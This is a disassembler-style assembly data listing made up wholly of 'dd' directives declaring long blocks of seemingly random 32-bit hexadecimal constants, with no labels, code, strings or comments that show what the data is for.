		dd 43E86734h, 1C567546h, 0F82757C2h, 0A93520F7h, 0AE1D697Bh
		dd 867BD2DFh, 73B74CFCh, 0F12DEF24h, 91B6B5AFh,	0E9BFE202h
		dd 43155E93h, 0DF51B8E7h, 94CD75ADh, 67C20D58h,	8D8579DCh
		dd 0E42AC04Ah, 6EB4578h, 26D41B11h, 0A4EA24EAh,	91CEFB58h
		dd 6EAA422Fh, 95A80BD0h, 54E14615h, 51D854DEh, 0BA0085A2h
		dd 1153B43Fh, 3EF391EFh, 3C1E7B57h, 2AB2BA87h, 61D0A032h
		dd 6BBEBA02h, 0DD0B7439h, 0B6C69B6h, 53D96E4Fh,	5366AE0Fh
		dd 0F2C1C753h, 0E0199051h, 2094DC4Bh, 0EB811252h, 41ACCE57h
		dd 762F088Fh, 155E8384h, 6800DA82h, 0B46469Ah, 0AD90169Bh
		dd 91E3C73Bh, 327FF632h, 2663D484h, 0FD2F019h, 9C8A7C18h
		dd 0F636406Eh, 9774408Bh, 0DA4FD315h, 0E783E897h, 0B122267Bh
		dd 746348C0h, 0F9DC75Fh, 82B23355h, 0ADE23F04h,	16C3871Eh
		dd 5B7E2F62h, 0B08F2ED1h, 9B0AD4D8h, 596133BFh,	0C4EAE539h
		dd 9DBE5540h, 2BD9D26Bh, 0EF28272Bh, 9A1CFB00h,	742DF9DCh
		dd 8D24CC24h, 0A73BE715h, 520318A9h, 3F8D8323h,	0F16B317Ch
		dd 0A7D9EE44h, 54656064h, 1C1E6824h, 0A641DE6Fh, 19CC874h
		dd 5D701EDAh, 0B7F47577h, 8DC88BFFh, 9793FD0Fh,	230FC8C7h
		dd 0EE4B1684h, 0DCBD31E0h, 1F674D18h, 7249A39Ah, 0EDD48187h
		dd 0EE93ECD0h, 0E7822CC5h, 0DCE0C9E8h, 83D57C31h, 32E3EEC2h
		dd 1E535DFAh, 429A5C03h, 2E79D5A1h, 518E6C80h, 0C465CED0h
		dd 84DABC6Dh, 8FE91B17h, 40A4E772h, 8E8C34C1h, 29374918h
		dd 0DAAA3A92h, 91019766h, 0C15236B9h, 5DBC2B6Ch, 3A1F82D5h
		dd 0A318E22h, 8050854Ch, 225D5F7h, 6C4196E2h, 840C0EA2h
		dd 8FF6246Fh, 5CCE1BB5h, 4098245Ah, 0C3FF4ED1h,	27A394B1h
		dd 180BF762h, 0F2D44C6Dh, 3E3FBFE7h, 5874E454h,	2B5C090Fh
		dd 0F5A0FA5Bh, 0CFCB365Bh, 0EB0B6FF7h, 4AAF774Dh, 0BD25990Dh
		dd 0B698EAF7h, 0A70CE921h, 0F4DCFE80h, 22B7B9D6h, 2086B17Fh
		dd 0AC3C6D91h, 75E430FDh, 0CC5B8635h, 14D1955Eh, 2ED5003Ch
		dd 42B8AAB0h, 238CE6C9h, 0A704C83Fh, 60346B9Dh,	85F479C3h
		dd 0F6C9BCDEh, 0E63B9DD6h
		dd 2A684C63h, 55B9AAAh,	695675Fh, 8173D8E9h, 523224F6h
		dd 7EB98E27h, 0C82EC99Dh, 0D519FBA7h, 495921EEh, 3B93966Eh
		dd 3393EF3Ah, 0CD0B8098h, 4238BE0Ah, 7D68C3D4h,	0A05027A0h
		dd 0C4655453h, 9AFD5E17h, 0A2C77FB6h, 90399773h, 859D88BCh
		dd 86C1CB92h, 0E9195020h, 0F4C6F37Fh, 4293E5B6h, 538BB03Fh
		dd 0A7E3AD6Eh, 0C8D6754Dh, 0F607C56Fh, 0AE8C7EBDh, 33B33D23h
		dd 55C04A9Fh, 8C4E2C5Ah, 568BEC44h, 813C86F2h, 0F0F1025Eh
		dd 2F42762h, 0DA3A2359h, 27949298h, 60F9E33Ah, 7FB1E5E8h
		dd 0E3111E7Dh, 0F8C78B72h, 0BEDC4CBFh, 8B82E2EAh, 7C07FD24h
		dd 7A35B162h, 0C801E56Ah, 50577037h, 0D3965155h, 0A5BEAA46h
		dd 0D64129BFh, 99525173h, 11D5D347h, 0C1DA23F1h, 9E276052h
		dd 47219C7Ah, 77218908h, 0BC836366h, 15264784h,	10DB4C36h
		dd 59F24F12h, 0CE6503F8h, 0E82C54A1h, 5A01885Ch, 5CA25FDCh
		dd 8ED3A977h, 2B00A32Dh, 80CA2CBh, 4ED30787h, 46187D24h
		dd 0ACF1742Eh, 72A3B4E0h, 0CEAA8356h, 8AF79073h, 981506E6h
		dd 0D1DEC63Fh, 0BF056F8Ch, 7379EA82h, 0B43B79D3h, 8E063AEh
		dd 299B6AFAh, 6ABDC024h, 0AFC0A622h, 2EFE73B2h,	2F796FFBh
		dd 8F8953E6h, 6E508DC4h, 0C616E263h, 0C86F686Eh, 5DCEC38Ch
		dd 6546E576h, 0AE693D77h, 8A65D01Bh, 0A17D52D1h, 0B32D4527h
		dd 8D000351h, 51E26817h, 7A859A6Eh, 2B3C0C97h, 39E07C3Ch
		dd 940BB819h, 64D2FB4h,	1A45CD03h, 0D35942D9h, 0B6C444F6h
		dd 0BFB39C2Bh, 6EB57445h, 0B066467Fh, 0C1273E87h, 0EAB1BDBCh
		dd 322C52A8h, 0C339C972h, 0DBAF77FAh, 0B611B056h, 0BBD56779h
		dd 0ED395393h, 202A19D3h, 6E35E38Eh, 80EC2DFh, 0BB119DC3h
		dd 2D2AEE26h, 86778E2Bh, 9C16A205h, 0CE0DE578h,	25A4E913h
		dd 0A2A5FB45h, 42422680h, 9C66F5D5h, 655D1C64h,	0BAF70B7Fh
		dd 9B733FB5h, 0F5D6557Fh, 86BFCFF6h, 0B7E12AF0h, 51DD42BEh
		dd 3CD1D54Ch, 0BAE64195h, 0BED5CECCh, 1637A836h, 9E6B0E76h
		dd 1FD05FF9h, 1BD20A7Eh, 73E68434h, 3CEABCA9h, 0EC59CC75h
		dd 0B5F72DF0h, 0E3D48CA6h, 66531F1Bh, 654E620h,	0E0AD642Dh
		dd 0E79A4761h, 8E9C5286h, 0B459B0C8h, 45217726h, 3A53CF5Dh
		dd 0D7AFCC74h, 9827B767h, 0C33E2753h, 124D2762h, 9F0822DDh
		dd 1C06EC5Dh, 669C47C4h, 0C6D960EDh, 0F4759848h, 583D3FA9h
		dd 4C011592h, 3E7A39A5h, 0C5732304h, 1AF14C69h,	0D0AA2866h
		dd 0C9F0D006h, 5564C5A3h, 5AC2FDECh, 0CDC6F52Eh, 2EB22F5Bh
		dd 0CC44B903h, 0B7606B1Ch, 0B1B26280h, 41028E9Eh, 9ACA596Dh
		dd 0B316F5C5h, 94A207E1h, 853A339Bh, 25B8AEB0h,	9E0BFDC0h
		dd 6FF57A00h, 4E5FF91Bh, 70B4DE97h, 694B2212h, 0B52E709Fh
		dd 0FF558C05h, 2A51D518h, 8EFA2D5Bh, 6ED69397h,	8EB4B0EDh
		dd 4B8F63CCh, 893C614Fh, 1B5903C5h, 0DCA97E16h,	3B521E28h
		dd 3E27BFE0h, 46E0EDE7h, 75B8AF4Ch, 70173D80h, 5990B0CDh
		dd 2F829C1Ah, 1EA1A22Ah, 103014B1h, 8F53CFACh, 4646C50Bh
		dd 0E67C3C4Bh, 23883012h, 0A83D6313h, 91975629h, 8E87BE95h
		dd 827C0FD3h, 47B91AC5h, 0E2C4EDEDh, 9CE25728h,	64331C57h
		dd 0E8BE8AD0h, 39D7164h, 5679E7B9h, 440DEE45h, 6DC1DB37h
		dd 5A4A2129h, 0A12574D5h, 7E47FED9h, 0E2D50B35h, 5045A222h
		dd 5D385EDFh, 0D3251815h, 8EA8D0DBh, 2DCCB81Fh,	0EA6AF2BEh
		dd 7B7409FAh, 0B8560392h, 0F629C535h, 0A54B0A8h, 0AA92C970h
		dd 28E4ED5Eh, 6EB36C1Ah, 65937E4Bh, 0E6086355h,	0A221CD4Dh
		dd 90A5ED14h, 0CD80F793h, 95C630AEh, 0B5A00CD3h, 0CF895EB6h
		dd 0E23B73EEh, 0A1D36737h, 36D9343Ch, 9779672h,	8AF6387Ch
		dd 98A8A9AFh, 5FF7F965h, 0F8F003C2h, 0AA4C4CC0h, 87E10FF8h
		dd 545FFA32h, 578F39D0h, 57F09D1Dh, 0D1212ACAh,	67B60D67h
		dd 0BA41FCEDh, 0F086C483h, 8A65E7D1h, 8E6E0373h, 0E49FEB49h
		dd 5E29E1B3h, 8034D817h, 6835CC0Dh, 84F3C3A9h, 0A8589C0Bh
		dd 0A3927011h, 42A0EA43h, 21146442h, 9929E228h,	0F3769B44h
		dd 32C957F1h, 0A7F3366Ah, 0FA042E9Fh, 9E564EC2h, 9749B71Ah
		dd 75BB3C6Bh, 469256B6h, 204EBC32h, 0FD256115h,	5D7E3162h
		dd 0B363670h, 1B4C4F16h, 2F9A1723h, 1D933156h, 886A5D6Dh
		dd 371528A5h, 62A9CDA1h, 549483E7h, 0C21CF5B4h,	6D8E3249h
		dd 68C314DEh, 1DEAC50Eh, 0F324B950h, 1D380673h,	4995C607h
		dd 0CA480AD5h, 8CE25E64h, 0ABACC010h, 649C2769h, 0A5608A1Eh
		dd 9F8AF5D7h, 8C0368B9h, 7A56F30Eh, 8C651F5Bh, 321126C7h
		dd 5BF0CD3Fh, 0A7274884h, 0D723E2B2h, 272FBFA7h, 1560D5A4h
		dd 2C4CB577h, 72847DE4h, 309C65D3h, 0DFA90001h,	2E5C1988h
		dd 33320CDDh, 48CF0313h, 369C72Ch, 0C11CC86Ah, 0A0B57A7Ch
		dd 0E970B275h, 978E3176h, 0C27C94B3h, 2B0998F0h, 23C33259h
		dd 7E8B2AE2h, 0D9B61610h, 0BEE42C89h, 0F0096372h, 87748A7Ah
		dd 6C0CF746h, 0A4DBE235h, 0C699CC5Bh, 0EDDD19EFh, 770D9151h
		dd 0AD3BD98Ch, 348AE938h, 3DF18C69h, 9BBB50CEh,	0F4F3E76h
		dd 2F5F3892h, 12C77299h, 73466AD2h, 6611D53Dh, 4D27BEF3h
		dd 0E02B3FC9h, 0D2A5B598h, 45ACD7DDh, 63B95D4Ch, 0D2659490h
		dd 0E8A1504Fh, 8FD8F21h, 59C93EC4h, 0E5D01CCh, 85FC9BA8h
		dd 6CD24C9Fh, 68A701F1h, 0EBD94FD6h, 0BEB765FDh, 0D94C0D2Fh
		dd 5BA4CDFBh, 0EB872ACCh, 1CC5C65h, 0D4F106A8h,	9B973F09h
		dd 0E6152F63h, 2D898547h, 3A7378D5h, 3971DC9Ah,	0A8B25167h
		dd 0F4B4C171h, 0D9E2DAF1h, 92C9CCFh, 0E21A6620h, 748545C3h
		dd 0C365ABF5h, 5A56160h, 0F6EDA7C8h, 4DBD9D41h,	0F688DEBh
		dd 2BCB5CADh, 38E79A2Bh, 9EB5011Ch, 49F43316h, 88D6E41h
		dd 0A02E661Ah, 0A0E96487h, 0D7B38698h, 57D01E2Ah, 5D9E24BAh
		dd 0D80043F0h, 0F9564E3Fh, 1E4B142Eh, 416F6608h, 0FFA13559h
		dd 4355CD76h, 0E49D0E46h, 96280CDh, 7EBE22B8h, 0D3017F07h
		dd 6517DEE2h, 0F1FB7E8Ah, 6581E981h, 0A67C1FFBh, 1B935AE0h
		dd 2CA759F0h, 39673DC5h, 497C9D4Dh, 184522D3h, 0F3DEF331h
		dd 0AB8C8630h, 25F2AECDh, 0FCB6A8EFh, 8D4BD99Eh, 0B0CD549Ch
		dd 3D283623h, 0D3230526h, 0B0E861B7h, 0D1FDDEC7h, 96CA8A39h
		dd 0E5745A3Ah, 437AF12Ah, 0FCACCB91h, 4CCCDA8Ah, 0FC644A2Fh
		dd 5056008Ah, 57742F9Dh, 7B9054C6h, 4BA3A61Ch, 9CA77688h
		dd 40930617h, 4BD0683Ch, 519253A2h, 2E4716DCh, 0EC10F4FBh
		dd 96987B4h, 24B1C4D1h,	7608D659h, 6A187FB9h, 0CD296111h
		dd 36DFFFA6h, 739B9D1h,	0D1277D7Eh, 0D2D1CBBBh,	0C99CFD04h
		dd 0A4748E05h, 4AF326E0h, 8965CFB2h, 36C2116Eh,	0D489CFF7h
		dd 565F783h, 38DDB870h,	9BB791C6h, 0AAB773E3h, 2CF920C4h
		dd 0CAACF383h, 0F74DD04Bh, 0C12013F9h, 16C5E17Ah, 677DE040h
		dd 7A130F3Ah, 4C897142h, 6F7A3096h, 3109F37Ch, 5857FCD3h
		dd 24E3DC0h, 72859A5Bh,	311B8DEEh, 0C3D2D44Eh, 83D681C5h
		dd 0E92B6AA9h, 1F0E5598h, 0EB551FD5h, 0F2229042h, 2A87D93Eh
		dd 92F7462Fh, 0D6AD22E6h, 0A52D38EDh, 92D6F7F5h, 90CEB54Bh
		dd 73D7E604h, 22A0DF81h, 0A81A1752h, 94EF8F44h,	0E6646ABEh
		dd 89331C9Eh, 0A237A467h, 0B1E27BD0h, 0A21783ECh, 0C2E5A2FAh
		dd 1D6B7D3Eh, 0C470D58Dh, 925BCF8Bh, 429544ABh,	37AEE89Eh
		dd 975836FDh, 0E69E44C0h, 52C83DBBh, 2B1BAB78h,	90EA4E8Ah
		dd 3AE492F8h, 9889922h
		dd 36C671F8h, 3D1E7CF5h, 79648CEh, 3F6B2CA2h, 78D025A1h
		dd 70E59884h, 0F4D76C45h, 0BBC6B8B2h, 339ED5B1h, 77925DA7h
		dd 0C09EDDF4h, 4E04C52Bh, 9E29BB51h, 3898DCCh, 86CBED2Eh
		dd 7C89AB3Dh, 46D53FABh, 1CA9E03Eh, 0C0DAD778h,	435E2542h
		dd 92AE2BC2h, 12D278FCh, 2DB2AAEBh, 0F8B3262Eh,	9706066Bh
		dd 58CF35BFh, 530A2585h, 0CDAB4D0Ch, 0E57D9A9Ah, 75EB215Dh
		dd 1A30EA9Dh, 0F06376EAh, 40E58A28h, 4981E50Bh,	0D83AB524h
		dd 58D6EB50h, 7FDDFC01h, 0A01C21DEh, 7CCFA87Ah,	0B1AA71E8h
		dd 0F9FBF18Eh, 422DD4C9h, 0BAD0A2C8h, 8EE47CCAh, 0F770F7A9h
		dd 4D01EFA1h, 26BF2DD4h, 6C6AD897h, 0C2320E03h,	0F05193D6h
		dd 0BE271D88h, 5191670Eh, 78C0ADB9h, 1CE7604h, 9F2E3B98h
		dd 0EBD1C0D4h, 7BB1A169h, 0D478602Bh, 58102421h, 0FE9FC92Eh
		dd 0F1DDE2C1h, 3627DB27h, 0B1B79CD1h, 84F7D5C3h, 0E0AF3E6h
		dd 0AA9621FBh, 8EF731F3h, 0A2E93535h, 0B6B15B4Fh, 0B6424E76h
		dd 73B5BB87h, 5720CA2Bh, 2511D12h, 0A3481E13h, 89502B15h
		dd 61D18103h, 830CEC0Eh, 0BB5FC4CBh, 0EED2BA13h, 296E413Bh
		dd 0F935E191h, 8C0943A0h, 0E68785EEh, 6868AA2Eh, 0ADE37395h
		dd 0B94CD4EAh, 749095ABh, 89BBDF2Fh, 50EE30BBh,	104CE17Fh
		dd 3B649A46h, 2889E5DAh, 73D25D99h, 3212F5B6h, 6F12583Ah
		dd 5DF0BC9Bh, 840E8378h, 0A3768412h, 99B7AFF5h,	7354EB80h
		dd 31C48747h, 456D0955h, 4E8A566Dh, 0B99DB4B0h,	3E98F60Ah
		dd 7BF9C6ADh, 28D5339Eh, 0D39EC5A2h, 0CF27AF1Fh, 8B7EE045h
		dd 370B42C6h, 0CBF49046h, 54D92E2Eh, 0B3BB912Ch, 87EEC1F8h
		dd 11427607h, 5BB3AFB3h, 7ED1E61h, 6E864B22h, 0BEB64688h
		dd 2EB64626h, 610DEA06h, 73BF1D3Bh, 738E5D5Fh, 33884CD0h
		dd 0EAF9FFB5h, 72840CE1h, 9491C0E9h, 68C26A96h,	0C56C8EACh
		dd 4DE1CBF6h, 0DE9789A9h, 89E193B5h, 0B1932C6Fh, 1A75F7C5h
		dd 4B97C51Ah, 0CC272C46h, 377815E7h, 0D7AA452Ah, 0EE7692E3h
		dd 9AD12224h, 6A2CAD03h, 4CC9554Ch, 0D7B2FECDh,	0B49B3A7h
		dd 3A20AE62h, 0FA47E06Eh, 963BF032h, 88E6E5ACh,	1AC1E04Ch
		dd 93AB493Ah, 439295C5h, 0F1D53264h, 0B1F5CD78h, 0C19A66Bh
		dd 586DCF0Dh, 0BB894750h, 4B100A1Fh, 0FCFD4B90h, 4C26EADh
		dd 0BDBDBEEEh, 6B9286C3h, 135EA097h, 3F957187h,	99314823h
		dd 0B9876DE0h, 0F1E3E34Fh, 0A80AB77Dh, 78D5E5B9h, 2940AE82h
		dd 5959AEF8h, 9AB621B6h, 4A8BD9CEh, 245C7AD1h, 0EBC16703h
		dd 0FF691CABh, 0A553816h, 8EA792DAh, 5FBDED88h,	0E32B1202h
		dd 0C6E07525h, 0F83AFFF3h, 3011B2BBh, 658BF787h, 946E89C7h
		dd 0A86901DEh, 496543D9h, 0D3AB6E93h, 205696E7h, 4C5836F1h
		dd 0CE3890C5h, 3F0BEA77h, 48898215h, 1AD83197h,	969B5326h
		dd 0E51526BEh, 0EA3A89EEh, 0A1243F77h, 2D2216F0h, 0E0ECBECCh
		dd 7DFE2B06h, 930A80ADh, 0C04FA1F9h, 326B99E0h,	0E36A5DB5h
		dd 0AABB19DBh, 341D5670h, 4DF266A8h, 0AD10AF0h,	66EF1913h
		dd 3DBA05EFh, 0A6C9A73Ch, 0C65CFEBDh, 663FDEC7h, 20B7D73Dh
		dd 7C4AD5ECh, 1F16D1D5h, 0E5FC4A36h, 2972BCC1h,	252C81FCh
		dd 81088FFFh, 0E45A941h, 7CCF609Fh, 358E3FA3h, 7ED67C4Ch
		dd 113F56FEh, 0B3D8489Eh, 5EEB21D8h, 3BB0A25Eh,	40604493h
		dd 2E894078h, 18FE06F6h, 73B65969h, 0F3E2C36Fh,	24D7D9F9h
		dd 1DDF3241h, 0AA6A206Fh, 67FDB70Ch, 0B85BE6ECh, 6ABEF01Ch
		dd 81B13962h, 84ED6A59h, 0C13E66E7h, 7F65BE7Ah,	22AEAAE4h
		dd 0D3EF6019h, 0F7378B47h, 0E13BE4A3h, 15E0AEB5h, 788EB5FEh
		dd 0A663B6C0h, 6C3A8862h, 0F3BBBE12h, 0E5EAF4F8h, 4E7C4716h
		dd 49354D30h, 0EDAECA1Dh, 7335AD84h, 7BF5B10Ch,	0F49DC020h
		dd 2C7E01C1h, 681B4469h, 957B9AD2h, 0C9EFD4E1h,	349AC58Dh
		dd 59B5E801h, 890F3538h, 21D92D53h, 6399AB86h, 7386BBE9h
		dd 0DB512B6Fh, 0BD58F3C6h, 843DC92h, 21558959h,	0CDDB1F57h
		dd 2F9E24A6h, 13AE5369h, 5C50B1DBh, 0F33B1B65h,	0C4A3FA76h
		dd 0B6ACD2ADh, 0E994800Ah, 0ADC92791h, 0C9CE88C0h, 3EA0E5C2h
		dd 98258283h, 47655C74h, 939C6E5Ah, 79D6009h, 3E6C0F6Dh
		dd 20D7D275h, 0ED4FFFF7h, 0BB3DCC1Bh, 12B9D2F1h, 35626577h
		dd 0BE38F9C8h, 0CDC7A29Fh, 2EC3F484h, 3CD5647Fh, 62C319CAh
		dd 3CD1063Ch, 51F2CE2Ah, 0BE2549BAh, 0AF75FA17h, 6E152701h
		dd 110AF06Ch, 4D58E083h, 9DCCF8EBh, 0AA66FFD8h,	3EE8F7C0h
		dd 0DDD9059Ah, 0B70EB578h, 0ECEFAC73h, 2E831696h, 60BC6700h
		dd 0C3C93D33h, 0C66DFEDCh, 9B2D4717h, 5BA4186Fh, 0CC9C3D06h
		dd 5C0ECC8Eh, 0F655EB05h, 3B729F06h, 85A06A43h,	0F664784Bh
		dd 209732A4h, 0A97AD8B8h, 9EA4F8E5h, 998DB325h,	1C2B58BEh
		dd 0E705F3B8h, 4E1AF6A5h, 99CEECDCh, 648FAE0Ch,	8636C882h
		dd 7ED513F8h, 0A8F59790h, 48A54A72h, 0BCC43902h, 0DF560239h
		dd 994E90D0h, 5BB379EEh, 0F07E0295h, 0C5B6C142h, 0A262874h
		dd 0DF8C1A17h, 0E4041D45h, 0BC2A1F87h, 96638BF2h, 9EC8B152h
		dd 0ED65CDD1h, 0B0DA795Ah, 47DEC04Bh, 0C074389Ah, 5E2D6E1h
		dd 0E8886EAAh, 0A7365CF1h, 0E32FB372h, 3E27B2BBh, 0EC47674Dh
		dd 1DD59520h, 87B0045Dh, 5A9B4A49h, 0CB1F2221h,	0F7F9081Fh
		dd 0D24A9642h, 0CB880F4Fh, 39ECAEA1h, 0DAD73B36h, 8044D021h
		dd 6B5AD2D6h, 5ADCB6D8h, 64E876B2h, 7D015EF6h, 813330C4h
		dd 633E10D3h, 0A4F92187h, 7C9DEE51h, 44054898h,	6E4458AFh
		dd 2144B4DEh, 4B001664h, 0F5233663h, 0D598FE64h, 0CFDD4F82h
		dd 0E922DEC0h, 961A47E4h, 0A4C8BAD0h, 0F2FD44AEh, 615C3437h
		dd 0E8FCB9C2h, 0F8C2D94Eh, 1E0AC0D9h, 0DE2FBA74h, 721ADF2Eh
		dd 7080E558h, 7E6BBC8h,	0A149E804h, 15783BDFh, 32D81AE9h
		dd 88ECC4C0h, 2F90311Fh, 8BCE712Dh, 0E01C4DAFh,	81198B5h
		dd 8D4B430Ch, 0A5446028h, 0E8AD7504h, 44F858DFh, 0A7A68BE4h
		dd 378F9B2Ch, 0E8098D25h, 0EE89A387h, 0D4F2F1Dh, 4090E032h
		dd 39C2714Fh, 0E3D3457Eh, 0F4BF65D2h, 0E56AF298h, 5D88F04Ch
		dd 0A99A487h, 0B7D62728h, 44BAFD74h, 0FB8BD523h, 9144CAC7h
		dd 0C4D0505Eh, 3B2A18E7h, 0D0457925h, 443F56EAh, 98C57F5Ch
		dd 0D102E188h, 0A72A678Dh, 0EBBF0FA0h, 0DE6C6FB8h, 0D9F82013h
		dd 0D557F5A7h, 9C3618D6h, 7192DB91h, 67665EECh,	0B65CFBCDh
		dd 0CCCDCD36h, 28BC10EDh, 967E57B7h, 0DC39C0E6h, 0C2B630CAh
		dd 0CF65C2D8h, 2BC02785h, 0DF02BCABh, 99830578h, 4C244FC5h
		dd 0CFFFD356h, 0F44CEBE8h, 42DA1EBBh, 0C6A79B07h, 33CB0D08h
		dd 3E4273F9h, 3EC3448Bh, 23E4649Dh, 0DD0AA67h, 9CFA420Fh
		dd 84F6F19Eh, 6BBD3D71h, 6C7FD14h, 0AD5F8F07h, 5727FEE9h
		dd 4466E648h, 37BFECD4h, 1908786Eh, 0CBF28255h,	0F2C78DF1h
		dd 7DC12A71h, 0D6DF780Ch, 2AB35C30h, 0A3E89ABh,	0A455C58Dh
		dd 0A709B31Dh, 3D0C5D8Ah, 0E6F0F971h, 689DBEEFh, 55426D25h
		dd 90135184h, 0D071172Fh, 0D51C6C4Eh, 0A88C363Eh, 0BB2F477Dh
		dd 0F94BB2D4h, 0A31BCAFCh, 0DF93F9D6h, 321EA06Ah, 0F4CF675Bh
		dd 0FDF53405h, 9818942Fh, 2EA92A70h, 0E7D39DF4h, 89F85B62h
		dd 0F3CECF12h, 0EA2C8BA1h, 324A7CD9h, 0F0A9DC0Eh, 99AD6058h
		dd 4EB82B7Ch, 0DBD7932Bh, 0DFBCE8E7h, 443F3C1Fh, 195F13AEh
		dd 648A084Dh, 5F08B936h, 83CF2DF8h, 0FD1ACB6Fh,	0FD0843D0h
		dd 0EF444FADh, 40267686h
		dd 108E707Dh, 994721BCh, 0DF24B25Ah, 6E97ACD3h,	256B336Ah
		dd 6667C034h, 5D5E21BBh, 7F3E637Eh, 54B3BD2Dh, 0D106A178h
		dd 64F13A1Ch, 0A54D52F6h, 0A7BEE1BAh, 90004BC5h, 752CEE95h
		dd 352A3A7Ah, 0E80A41C1h, 0D1CC7271h, 2D7DA779h, 79EDE4C6h
		dd 90751AEBh, 0FFBB2D66h, 1EC99D74h, 0F01EA0D5h, 21758828h
		dd 6A3745EDh, 9854D986h, 115B68A1h, 0D324406Bh,	111E6511h
		dd 0BC53EE0h, 0E8DCF6BCh, 889339F1h, 832056EDh,	7A014209h
		dd 2E1E465Fh, 8A9815E7h, 6FC9DDEFh, 0E8F75AB2h,	0F174F778h
		dd 606012BAh, 842BB5E5h, 0CDDC1A2Bh, 886CCAF4h,	0CD7ECB2h
		dd 624E1E25h, 692B425Bh, 0A3A694C1h, 54728599h,	0A933FB1Dh
		dd 5DE62B82h, 571EEE9Eh, 7FEC4775h, 42E8E7FCh, 80E9AA5Eh
		dd 0FAF8517Dh, 0D501BE99h, 17D0C30h, 0D65BB2D7h, 45A5AFBEh
		dd 49C8AE27h, 0C8BF0A2Dh, 7A784067h, 0E1F884FEh, 3E4B7350h
		dd 1D0F092Ah, 0F06A327Ah, 3B619CA4h, 1A2F7A0Bh,	992A6490h
		dd 931F4A33h, 3F2904E6h, 4679A001h, 0B34BA387h,	2A247FB5h
		dd 0EC5C416Ah, 75C2D6BCh, 0C4B40917h, 0FAF0E147h, 39A7CFE6h
		dd 8B3BF4E3h, 0EEDD01C9h, 1D2B414Bh, 9CE2B44Fh,	9F73C87h
		dd 9B4D890Fh, 0A334921Fh, 0CC01AD35h, 64E5DAEEh, 160AFB41h
		dd 0E37EF566h, 66C26BE5h, 0D6A4A73Ch, 0FBC61A53h, 3A74DC99h
		dd 0AE5577DCh, 3366E40Eh, 0C493AACCh, 9B38B217h, 3C7C855Ah
		dd 12B7B527h, 772722A2h, 81B876F3h, 0F8F1EE28h,	0F4A34E5Eh
		dd 0C14FA586h, 0DDC41B52h, 1A3EE7BAh, 0CCF5C3B1h, 8906E13Ch
		dd 5455C41Bh, 44F6390Ch, 0FBB359BDh, 0DAF81A37h, 7A716536h
		dd 94745CEBh, 0D796B491h, 0D3300A02h, 0F8F09656h, 7D9CC742h
		dd 28EA0408h, 0B2929F94h, 817B8DBCh, 8835A050h,	22A6B290h
		dd 0BCDCD246h, 0C16327CCh, 63F26369h, 0AD407ACDh, 14A1C35Eh
		dd 15912A0Bh, 8A8CE8Fh,	5435A8Ah, 0B9DBF02Bh, 2B349E15h
		dd 77A5F7EDh, 9E7A12Dh,	7BC2B9A0h, 0E7375493h, 0A9EDF3E5h
		dd 0BFF6FC9Bh, 45215C9Ch, 0D84F1A42h, 1DED2A06h, 56CDC4B9h
		dd 0B6D76AF9h, 1AD15368h, 3CD35525h, 0D74D117Ch, 8BDCD59h
		dd 29AA49E5h, 990AAAE3h, 0B6CB8A1Ah, 0C0CB4F25h, 3F33D4Eh
		dd 5A9CC57Ch, 48403EF1h, 0F6B8864Dh, 0EACFC85Ch, 0F74B16E5h
		dd 0C095B45h, 0ADE3178Ch, 473233A9h, 0E41F2A71h, 314158BEh
		dd 39CD8C69h, 383A184Ch, 0C1677948h, 0E1F15102h, 0A5365F0Fh
		dd 0EF97CDBDh, 31C6D6E4h, 755EC9FAh, 11E4274Eh,	0C2403A4Bh
		dd 0D41F3D10h, 0D04F7310h, 0FEE2CE0h, 2E572F1Dh, 79B95149h
		dd 2A063BBh, 9BC05F86h,	0CA0499FCh, 0F9FE9054h,	98F645BAh
		dd 0B5EDEB16h, 1AEE9A05h, 62EFDF4h, 2876A6F8h, 32F0FB21h
		dd 0D48888EAh, 228DBEEBh, 4A4F8741h, 9235B1BBh,	576FD2C9h
		dd 3030244Dh, 39FE3F37h, 0F6C6D0E5h, 0D92F8F7Ch, 0F200CC91h
		dd 0B9C05CE4h, 0E956F7ECh, 2D87F86Ch, 0E954E965h, 95A4556Dh
		dd 81306AF9h, 0A0F5E5A4h, 714D5959h, 0CA86DDEBh, 0A35B8940h
		dd 0D16E727Fh, 0C2BBFD01h, 57B15138h, 13A21E06h, 981709FBh
		dd 44E5FAC5h, 63769DBDh, 426DFBFBh, 0A1E46628h,	0EC5AA79Ch
		dd 0E69118B2h, 3D29C3CFh, 31270448h, 3E63240Bh,	1F971177h
		dd 2D16D272h, 0BB98C154h, 0DD057AA0h, 25BFF8EEh, 825B22C1h
		dd 0CB97E9AFh, 5508F44Bh, 0D1DE1258h, 86B8BEA2h, 59783FA2h
		dd 9C2B7E54h, 0FE0523B5h, 8EF42CFEh, 0A46865FAh, 0B226DCF1h
		dd 43B9B60Dh, 0B84F5045h, 0FD62B235h, 0A2435943h, 0ED3DE105h
		dd 6A9E2281h, 0E93685C9h, 54FE9EE7h, 0BB7595DDh, 6EE30A97h
		dd 0E886DA98h, 0D841EF68h, 0A68F55CCh, 24F7F8E8h, 0DD149FBBh
		dd 0B156D59Ch, 0DD36EA86h, 5063F6E9h, 0C2ADCFA1h, 2021BFAAh
		dd 0B404A5C7h, 33288F04h, 0D8F52650h, 0FBFD1157h, 0E4835F2Ah
		dd 0F035654Eh, 386ACB39h, 0D1BAAA49h, 1112D12Ch, 2D1553D2h
		dd 3CC04B5Fh, 8D42CE24h, 0C95F7EDCh, 0B9FDFFA6h, 51B43D4Fh
		dd 0C7103157h, 5B6F4620h, 23F29E57h, 9941155Ah,	2F76853h
		dd 56A556B2h, 6CA7F1FBh, 0BA620573h, 68C6EC44h,	16DB626Ch
		dd 98189605h, 0F19D20DCh, 0CEA8C1E1h, 0D0F53454h, 0C5D463FEh
		dd 97E6025Bh, 127AE7A7h, 0A14479E1h, 1922BDFAh,	0C9BE4E1Bh
		dd 0F5ECC81h, 0CD739FB9h, 389EFB67h, 72D0E30Eh,	0BD4E3C9Eh
		dd 0CF832E03h, 49CFEA65h, 480AF697h, 0B80ABA4Fh, 6C16D191h
		dd 3C4C9186h, 0C5D44C01h, 41E9A283h, 8FA2315Dh,	13ABCCC8h
		dd 0A2C6A829h, 5A4A63A1h, 0E57DFC6Dh, 0CCEE056Bh, 0EEF3FCEh
		dd 3998CA5Dh, 6F510E3Bh, 968E64F2h, 11361B08h, 0D726FFBh
		dd 2F52125Fh, 17764B4Fh, 0F9E3EF6Eh, 70308838h,	6BF51C21h
		dd 9E040DD0h, 30AD2F9Ch, 61FD5234h, 652C695h, 7DC9B77Bh
		dd 2F7BCC39h, 0FF450B88h, 0CE8D61E7h, 61A88AEDh, 71799F1Bh
